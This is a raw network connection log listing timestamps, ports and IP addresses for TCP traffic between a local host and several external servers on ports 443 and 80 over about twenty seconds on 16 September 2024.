Sep 16, 2024 21:11:17.390404940 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.390481949 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.390494108 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.433844090 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.636814117 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.636915922 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.636980057 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.637455940 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.637520075 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.637526035 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.637564898 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.637603045 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.637623072 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.637654066 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.637655020 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.637655020 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.637923956 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.637999058 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.638012886 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.639419079 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.639435053 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.639528036 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.639544010 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.640275002 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.640294075 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.640396118 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.640408993 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.640436888 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.640914917 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.640928030 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.640976906 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.640990019 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.641016960 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.641582012 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.641601086 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.641652107 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.641664028 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.641690016 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.642724991 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.642738104 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.642842054 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.642855883 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.689861059 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.732742071 CEST	80	49725	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:17.735488892 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.735515118 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.735634089 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.735694885 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.735877037 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.736140013 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.736160040 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.736226082 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.736247063 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.736510038 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.736891985 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.736910105 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.736972094 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.736982107 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.737008095 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.737025023 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.738033056 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.738048077 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.738127947 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.738138914 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.738284111 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.738825083 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.738847971 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.738919020 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.738929033 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.738977909 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.739319086 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.739334106 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.739397049 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.739404917 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.739461899 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.739870071 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.739891052 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.739953041 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.739959955 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.739998102 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.740427971 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.740453959 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.740515947 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.740525007 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.741127014 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.785851002 CEST	49725	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:17.858119011 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:17.858202934 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:17.858469009 CEST	49723	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:17.859042883 CEST	49723	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:17.859062910 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:17.859288931 CEST	49723	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:17.859294891 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:17.861932993 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.861965895 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.862005949 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.862032890 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.862059116 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.862076044 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.862215996 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.862282991 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.862288952 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.862801075 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.862821102 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.862855911 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.862863064 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.862895012 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.863640070 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.863666058 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.863697052 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.863703966 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.863729000 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.864358902 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.864377975 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.864417076 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.864422083 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.864439964 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.864445925 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.864485025 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.864490032 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.864780903 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.864852905 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.864859104 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.864891052 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.865025043 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.865284920 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.865298986 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.951129913 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:17.951205969 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:17.954041004 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:17.954054117 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:17.954344988 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:18.009583950 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:18.035804987 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:18.056858063 CEST	49678	443	192.168.2.16	20.189.173.10
Sep 16, 2024 21:11:18.079400063 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251074076 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251099110 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251105070 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251173973 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251188993 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:19.251219034 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251240015 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251283884 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251302004 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251317024 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:19.251317024 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:19.251317024 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:19.251347065 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:19.251765966 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251816034 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.251887083 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:19.263443947 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:19.263478041 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.263494968 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:19.263503075 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:19.985671043 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:19.985748053 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:19.985840082 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:19.986068964 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:19.986095905 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:20.039434910 CEST	49719	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:20.044411898 CEST	80	49719	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:20.048083067 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.048115015 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.048203945 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.048239946 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.048325062 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.048449993 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.048461914 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.048487902 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.048660040 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.048687935 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.402242899 CEST	49680	80	192.168.2.16	192.229.211.108
Sep 16, 2024 21:11:20.464865923 CEST	49678	443	192.168.2.16	20.189.173.10
Sep 16, 2024 21:11:20.704886913 CEST	49680	80	192.168.2.16	192.229.211.108
Sep 16, 2024 21:11:20.723414898 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.723715067 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.723748922 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.724628925 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.724704027 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.725845098 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.725895882 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.726023912 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.726032019 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.738034964 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.738333941 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.738393068 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.742456913 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.742535114 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.742854118 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.743009090 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.743021965 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.743053913 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.766875029 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.782891035 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.782929897 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.798217058 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:20.798536062 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:20.798629999 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:20.799725056 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:20.799797058 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:20.800957918 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:20.801047087 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:20.801140070 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:20.830902100 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.841752052 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.841777086 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.841783047 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.841811895 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.841839075 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.841864109 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.841892004 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.841905117 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.841944933 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.843050003 CEST	49727	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.843065977 CEST	443	49727	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.843410969 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:20.846833944 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:20.846853018 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:20.849993944 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.850159883 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.850244045 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.850948095 CEST	49728	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.850972891 CEST	443	49728	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.854371071 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.854414940 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.854490995 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.854921103 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.854933023 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.855364084 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.855371952 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.855424881 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.855710030 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:20.855715990 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:20.894892931 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:20.965221882 CEST	80	49719	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:20.981530905 CEST	49725	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:20.986594915 CEST	80	49725	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:21.006844044 CEST	49719	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:21.067460060 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.067526102 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.067595005 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.067616940 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.067686081 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.081613064 CEST	49726	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.081662893 CEST	443	49726	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.135021925 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.135073900 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.135133028 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.136308908 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.136320114 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.156586885 CEST	80	49725	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:21.198896885 CEST	49725	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:21.309864998 CEST	49680	80	192.168.2.16	192.229.211.108
Sep 16, 2024 21:11:21.600399017 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.600716114 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.600743055 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.601896048 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.601963043 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.602286100 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.602375031 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.602440119 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.602447987 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.604686022 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.604896069 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.604906082 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.606000900 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.606066942 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.606313944 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.606395006 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.606400967 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.642916918 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.651402950 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.658864021 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.658885002 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.706979036 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.720316887 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.720520973 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.720761061 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.721605062 CEST	49729	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:21.721637011 CEST	443	49729	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:21.976140976 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.976425886 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.976450920 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.977499962 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.977577925 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.978070974 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.978135109 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:21.978251934 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:21.978259087 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:22.025863886 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:22.106697083 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:22.106725931 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:22.106734037 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:22.106774092 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:22.106791973 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:22.106802940 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:22.106816053 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:22.106870890 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:22.106885910 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:22.106900930 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:22.106940985 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:22.107923985 CEST	49730	443	192.168.2.16	13.107.253.72
Sep 16, 2024 21:11:22.107944012 CEST	443	49730	13.107.253.72	192.168.2.16
Sep 16, 2024 21:11:22.242904902 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:22.243024111 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:22.243078947 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:22.243098974 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:22.243113995 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:22.243177891 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:22.244028091 CEST	49731	443	192.168.2.16	152.199.21.175
Sep 16, 2024 21:11:22.244051933 CEST	443	49731	152.199.21.175	192.168.2.16
Sep 16, 2024 21:11:22.529987097 CEST	49680	80	192.168.2.16	192.229.211.108
Sep 16, 2024 21:11:24.933968067 CEST	49680	80	192.168.2.16	192.229.211.108
Sep 16, 2024 21:11:25.269934893 CEST	49678	443	192.168.2.16	20.189.173.10
Sep 16, 2024 21:11:25.967233896 CEST	80	49719	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:25.967295885 CEST	49719	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:25.991255999 CEST	49719	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:25.996247053 CEST	80	49719	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:26.161911964 CEST	80	49725	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:26.162031889 CEST	49725	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:26.708910942 CEST	49673	443	192.168.2.16	204.79.197.203
Sep 16, 2024 21:11:26.822086096 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:26.822173119 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:26.822242022 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:28.000610113 CEST	49725	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:28.000655890 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:28.000677109 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:28.006711006 CEST	80	49725	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:29.739886045 CEST	49680	80	192.168.2.16	192.229.211.108
Sep 16, 2024 21:11:34.871999025 CEST	49678	443	192.168.2.16	20.189.173.10
Sep 16, 2024 21:11:39.343972921 CEST	49680	80	192.168.2.16	192.229.211.108
